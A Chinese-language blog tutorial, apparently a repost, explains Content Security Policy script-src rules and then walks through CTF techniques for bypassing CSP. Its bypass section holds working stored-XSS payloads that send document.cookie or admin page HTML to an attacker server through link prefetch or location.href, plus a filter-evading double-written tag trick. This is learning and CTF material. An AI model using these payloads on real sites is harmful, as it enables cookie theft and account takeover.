首页 > 代码库 > CSP学习和绕过

CSP学习和绕过

CSP学习和绕过

一、CSP学习

内容安全策略(CSP)是一种用于部分解决XSS问题的浏览器安全机制,通过 CSP 所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中,目前 CSP 已经到了 3.0 阶段。现代浏览器目前都可以通过获取 Header 头来进行 CSP 配置:

  1. <?php
  2. header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ ");
  3. ?>

类似这样,这条语句允许加载内联脚本,但是不允许加载外部资源。CSP有许多指令,这是指令参考:
技术分享
这是指令值的参考:
技术分享

这里先说说我自己遇到过与XSS相关的script-src:,该指令用于JavaScript的加载策略。通过测试进行说明:
1、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘
这种情况只允许加载同源资源,内联脚本(inline script)都不允许执行,这是测试代码:

  1. <?php
  2. header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ");
  3. ?>
  4. <!DOCTYPE html>
  5. <html lang="en">
  6. <head>
  7. <meta charset="UTF-8">
  8. <title>xss test</title>
  9. <!-- <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]"> -->
  10. </head>
  11. <body>
  12. <!-- <script src="http://23.105.193.119/xss/?a=[cookie]"></script> -->
  13. <script>alert(‘a‘);</script>
  14. <!-- <script src="http://localhost/1.js"> </script> -->
  15. </body>
  16. </html>

内联脚本调用alert弹窗无反应,控制台报错:
技术分享
将这段内联脚本注释,调用同源的脚本:

  1. <script src="http://localhost/1.js"> </script>

可以弹窗,说明加载成功。

2、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
这段指令允许加载内联脚本,允许加载内联资源,不允许加载外域资源。
经过测试,内联脚本弹窗可以执行。
当想要访问外域资源的时候:

  1. <script src="http://23.105.193.119/xss/?a=[cookie]"></script>

报错:
技术分享

3、"Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ 23.105.193.119"
这是我将自己vps的IP加了进去,现在就单独跨域访问我的vps资源了。经过测试,成功访问。

二、CSP 绕过

这里设想一种存储型XSS漏洞的场景,攻击者提交带有攻击代码到管理员,管理员页面存在存储型XSS漏洞。假设管理员页面配置了script-src的一些策略,加下来讨论一下这些策略的绕过方法。其实策略的关键所在是unsafe-inline。所以这里讨论以下两种策略:

  1. 1default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
  2. 2default-src ‘self‘; script-src ‘self‘

1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
对于这一种情况,可以执行内联脚本,但是不允许跨域访问。所以脚本执行的问题解决了,需要考虑就是怎么将用脚本获取的重要信息(类似cookie等)发出去?

这里先说一下预加载机制(Link prefetch),的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源,提高浏览器速度。
这里又可以分为::DNS-prefetch(DNS预解析)、subresource(对特定文件类型进行预加载) 和标准的 prefetch、preconnect、prerender 。这里只说一下自己做题遇到过的标准的prefetch。其他的以后遇到再补充。
其使用方式类似这样:

  1. <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]">

这种机制的策略并没有考虑预加载的情况,通过查阅一些资料,我了解到:

数据泄漏问题从来都不是CSP项目的主要考虑因素,设计这个功能的目的主要是为了防止跨站脚本攻击(XSS)。

OK,说道这里就通过说说怎么传数据了。思路就是通过执行内联的Javascript创建一个link节点,设置rel = prefetch ,href = http://www.mamicode.com/攻击者服务器。
由于在 Chrome 中,CSP 的规范执行是较低于 Firefox 的,所以这些测试都是基于Chrome的,而且较为新版的Chrome。这是payload:

  1. <script>
  2. var head = document.getElementsByTagName("head")[0]
  3. var n0t = document.createElement("link");
  4. n0t.setAttribute("rel", "prefetch");
  5. n0t.setAttribute("href", "http://yourServer/?a=" + document.cookie);
  6. head.appendChild(n0t);
  7. </script>

在CTF中,这种XSS题比较多。比如2016年的HCTF(guestbook),最后的payload是这样的:

  1. <scrscriptipt>
  2. var head = document.getElementsByTagName("head")[0]
  3. var n0t = document.createElement("lilinknk");
  4. n0t.setAttribute("rel", "prefetch");
  5. n0t.setAttribute("href", "http://yourServer/?" + window.btoa(String(document.getElementsByTagName("html")[0].innerHTML)).substring(800,1300));
  6. head.appendChild(n0t);
  7. </scrscriptipt>

双写是为了绕过关键词删除过滤,最后flag在admin页面的源码中。
2、default-src ‘self‘; script-src ‘self‘
这种情况联内联脚本都不能执行,也不能加载类似style的一些内联资源,只能加载同域资源,这样设置的很少,非常影响网站的正常功能。这种情况连内联脚本都无法执行,基本无解(有大佬有解的话,请指点我)。但是在某些特定条件下是可以的,比如我遇到这题:
题目就是我说的那种存储型XSS情况,但是设置的CSP是这样的:
技术分享
就是我说的这种情况。这里的处理很巧妙,首先提交这个payload:

  1. //<link rel="prefetch" href="http://23.105.193.119/xss/">;
  2. location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie);

没有<script>标签,只会被当成HTML处理,结果就是预加载访问XSS平台。这里有在refer中有admin的页面。然后再次提交:

  1. <script src=‘http://39.108.192.25:5004/4dmIn.php?id=54397b5ef0421197b053e7bce57eb50a‘></script>

这样加载了同域的资源,执行location.href=http://www.mamicode.com/‘http://23.105.193.119/xss/?a=‘+escape(document.cookie), 将cookie发了出去
这题类似二次注入。

CSP学习和绕过